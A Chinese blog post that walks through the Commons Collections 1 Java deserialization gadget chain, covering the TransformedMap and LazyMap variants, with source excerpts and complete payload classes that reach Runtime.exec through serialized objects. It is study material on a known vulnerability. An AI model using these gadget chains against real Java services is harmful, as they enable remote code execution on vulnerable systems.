commons-collections1链分析

概述

Commons Collections增强了Java集合框架。 它提供了几个功能来简化收集处理。 它提供了许多新的接口,实现和实用程序。在反序列化里,cc1这里主要就是Transformer接口里三个主要的实现类来实现命令执行,然后通过两个不同方法调用执行。

环境安装

⾸先设置在pom.xml环境

<dependencies>
       <dependency>
           <groupId>commons-collections</groupId>
           <artifactId>commons-collections</artifactId>
           <version>3.2.1</version>
       </dependency>
   </dependencies>

存在漏洞的版本 commons-collections3.1-3.2.1 8u71之后已修复不可利⽤ java 版本 jdk-8u65 解压src.zip 下载sun源码 将它加⼊到src⽬录下。

在idea⾥添加sdk版本把sun⽬录加⼊ 即可查询源码

命令执⾏

package cc;
import java.io.IOException;
public class cc1 {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
   }
}

通过反射执⾏命令

Runtime是继承class类 ⾸先通过反射获取类名

package cc;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class cc1 {
    public static void main(String[] args) throws IOException,
InvocationTargetException, IllegalAccessException, NoSuchMethodException
{
       // Runtime.getRuntime().exec("calc");
     Class c=  Runtime.class; //获取类名
     Method getRuntimemethod = c.getMethod("getRuntime",null);//再类中寻找 ⽅法GetRuntime 因为没有参数所以为null
     Runtime r=(Runtime)getRuntimemethod.invoke(null,null);//调⽤invoke获 取 Runtime ⽆参数为null
     Method execMethod = c.getMethod("exec",String.class);
       // Method execMethod = c.getMethod("exec",new Class[]
{String.class});//可以传⼊数组⽅法
     Object obj =execMethod.invoke(r,"calc"); //执⾏调⽤命令
        
   }
}

cc1学习

参考链接:

https://www.yiibai.com/commons_collections/commons_collections_overview.html

https://www.le1a.com/posts/44842cb9/

InvokerTransformer

在 org/apache/commons/collections/functors/InvokerTransformer.java 这个类中存在

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
   super();
   iMethodName = methodName;
   iParamTypes = paramTypes;
   iArgs = args;
   }

在这个构造⽅法⾥ 可以看到传⼊字符串 数组类 对象的参数 这个类中还有⼀个⽅法

public Object transform(Object input) {
        if (input == null) {
            return null;
       }
        try {
            Class cls = input.getClass();//获取运⾏时的类
            Method method = cls.getMethod(iMethodName, iParamTypes); //通 过反射 getMethod获取类中的⽅法
            return method.invoke(input, iArgs); //通过反射 调⽤⽅法 input是 对象 iArgs是调⽤的参数
                
       } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '"
+ iMethodName + "' on '" + input.getClass() + "' does not exist");
       } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '"
+ iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
       } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '"
+ iMethodName + "' on '" + input.getClass() + "' threw an exception",
ex);
       }
   }

这⾥就相当于通过反射调⽤某个⽅法。类似php⾥⾯的动态调⽤ ⽤这个类弹⼀个计算器


 Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new
Object[]{"calc"}).transform(r)

调⽤链查找 在项⽬中寻找那个类调⽤ transform 寻找如果找不出来 要设置⼀下查找的位置

TransformedMap

寻找调⽤链 org/apache/commons/collections/map/TransformedMap.java中的 checkSetValue⾥会 调⽤

 protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
   }

transform 但是checkSetValue是⼀个保护⽅法 在这⾥类中发现有静态⽅法 decorate

 public static Map decorate(Map map, Transformer keyTransformer,
Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
   }

传⼊是⼀个map 接着寻找调⽤ checkSetValue的地⽅
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
       }

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new
InvokerTransformer("exec",new Class[]{String.class},new Object[]
{"calc"}).transform(r);
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,invokerTransformer);

TransformedMap.decorate Map : 需要转换的 Map 对象

KeyTransformer : ⽤于转换键的转换器 , 如果为 null 则表示不进⾏转换

ValueTransformer : ⽤于转换值的转换器 , 如果为 null 则表示不进⾏转换

TransformedMap.java 的⽗类是AbstractInputCheckedMapDecorator TransformedMap是继承 AbstractMapEntryDecorator的抽象类的 所以可以使⽤抽象类中的setValue⽅ 法。

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

在 org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java 有⼀个静态类 MapEntry 继承 AbstractMapEntryDecorator

static class MapEntry extends AbstractMapEntryDecorator {
        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;
        protected MapEntry(Map.Entry entry,
AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
       }
        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
       }
   }

在⼦类中找不到 setValue⽅法 他就回去 ⽗类寻找 接着再调⽤⼦类的 checkSetValue⽅法。

编写payload

package cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) throws IOException,
InvocationTargetException, IllegalAccessException, NoSuchMethodException
{
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new
InvokerTransformer("exec",new Class[]{String.class},new Object[]
{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value"); //设置map的值
        Map<Object,Object> TransformedMapMethod=
TransformedMap.decorate(map,null,invokerTransformer);
//invokerTransformer传⼊值
        for(Map.Entry entry:TransformedMapMethod.entrySet()){//在map⾥⼀种 遍历⽅式
              entry.setValue(r); //这⾥相当于
invokerTransformer.transform(value);
       }
   }
}

setVavlue最终还是要被调用。

在 sun/reflect/annotation/AnnotationInvocationHandler.java中

memberValue.setValue 这⾥被调⽤了 但是要过上⾯的逻辑。

构造函数 传⼊的注解和 map memberValues 先将执⾏的命令进⾏序列化 所以要将执⾏命令写成可序列化的版本

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        Runtime r = (Runtime)getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec",String.class);
        Object obj= execMethod.invoke(r,"calc");

InvokerTransformer版本的执⾏命令

配合ChainedTransformer 递归调⽤

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };


        new ChainedTransformer(transformers).transform("aaaaa");

最终payload

package sec;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        // Runtime.getRuntime().exec("calc");
/*        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        Runtime r= (Runtime)getRuntimeMethod.invoke(null,null);
        Method execMethod= c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");*/
       /* Runtime r =  Runtime.getRuntime();
        InvokerTransformer invokerTransformer = (InvokerTransformer)new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };


        ChainedTransformer  chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map =  new HashMap<>();
        map.put("value","value");
        //invokerTransformer.transform(r);
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
/*        for(Map.Entry entry:transformedMap.entrySet()){
            System.out.println(entry.setValue(r));
        }*/


        Class c=  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj= constructor.newInstance(Target.class,transformedMap);
        // serialize(obj);
        unserialize();
      /*  Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);*/


 /*       Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };


        new ChainedTransformer(transformers).transform("aaaaa");

*/



    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
    }

    public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();

    }

}

LazyMap条链


LazyMap 这个类中的 factory变量是可控的

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
    /** Serialization version */
    private static final long serialVersionUID = 7990956402564206740L;
    /** The factory to use to construct elements */
    protected final Transformer factory;

在使⽤ decorate的时候是可以传进来的

 public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
   }

触发点是 get⽅法 可以传⼊⼀个对象 factory.transform(key); 这样是可以触发的。

 public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
       }
        return map.get(key);
   }


调⽤

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
       };
        Transformer transformerChain = new
ChainedTransformer(transformers);
        Map map = new HashMap();
l
        Map lazyMap = LazyMap.decorate(map, transformerChain);
        lazyMap.get("aaaa");
class AnnotationInvocationHandler implements InvocationHandler,
Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;//这个部分的是可控的
    AnnotationInvocationHandler(Class<? extends Annotation> type,
Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for
a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues; //这个部分是赋值的
   }
    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();
        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an
annotation method");
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
       }
        // Handle annotation member accessors
        Object result = memberValues.get(member);
        if (result == null)
            throw new IncompleteAnnotationException(type, member);
             if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
   }

利⽤链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
package cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc11 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]
{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"}),
   };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, transformerChain);
    Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
    construct.setAccessible(true);
    InvocationHandler annotationInvocationHandler = (InvocationHandler)construct.newInstance(Target.class, lazyMap);
    Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(),
lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
 annotationInvocationHandler = (InvocationHandler)
construct.newInstance(Target.class, proxyMap);
      // serialize(annotationInvocationHandler);
        unserialize();
  
   }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream( new
FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
        outputStream.close();
   }
    public static void unserialize() throws  Exception{
        ObjectInputStream inputStream = new ObjectInputStream( new
FileInputStream("ser.bin"));
        Object obj = inputStream.readObject();
   }
}

jdk动态代理 newProxyInstance,⽅法有三个参数: loader: ⽤哪个类加载器去加载代理对象 interfaces:动态代理类需要实现的接⼝ h:动态代理⽅法在执⾏时,会调⽤h⾥⾯的invoke⽅法去执⾏ 动态代理⾸先有有⼀个接⼝类

这个类中的 AnnotationInvocationHandler.java

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();
        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an
annotation method");
        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
       }
        // Handle annotation member accessors
        Object result = memberValues.get(member); //获取的⽅法String member
= method.getName();
        if (result == null)
            throw new IncompleteAnnotationException(type, member);
        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();
        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);
        return result;
   }

实例化 ⼀个是创建代理类 ⼀个是创建序列化

posted @ 2022-09-04 18:43  Ray言午  阅读(95)  评论(0编辑  收藏  举报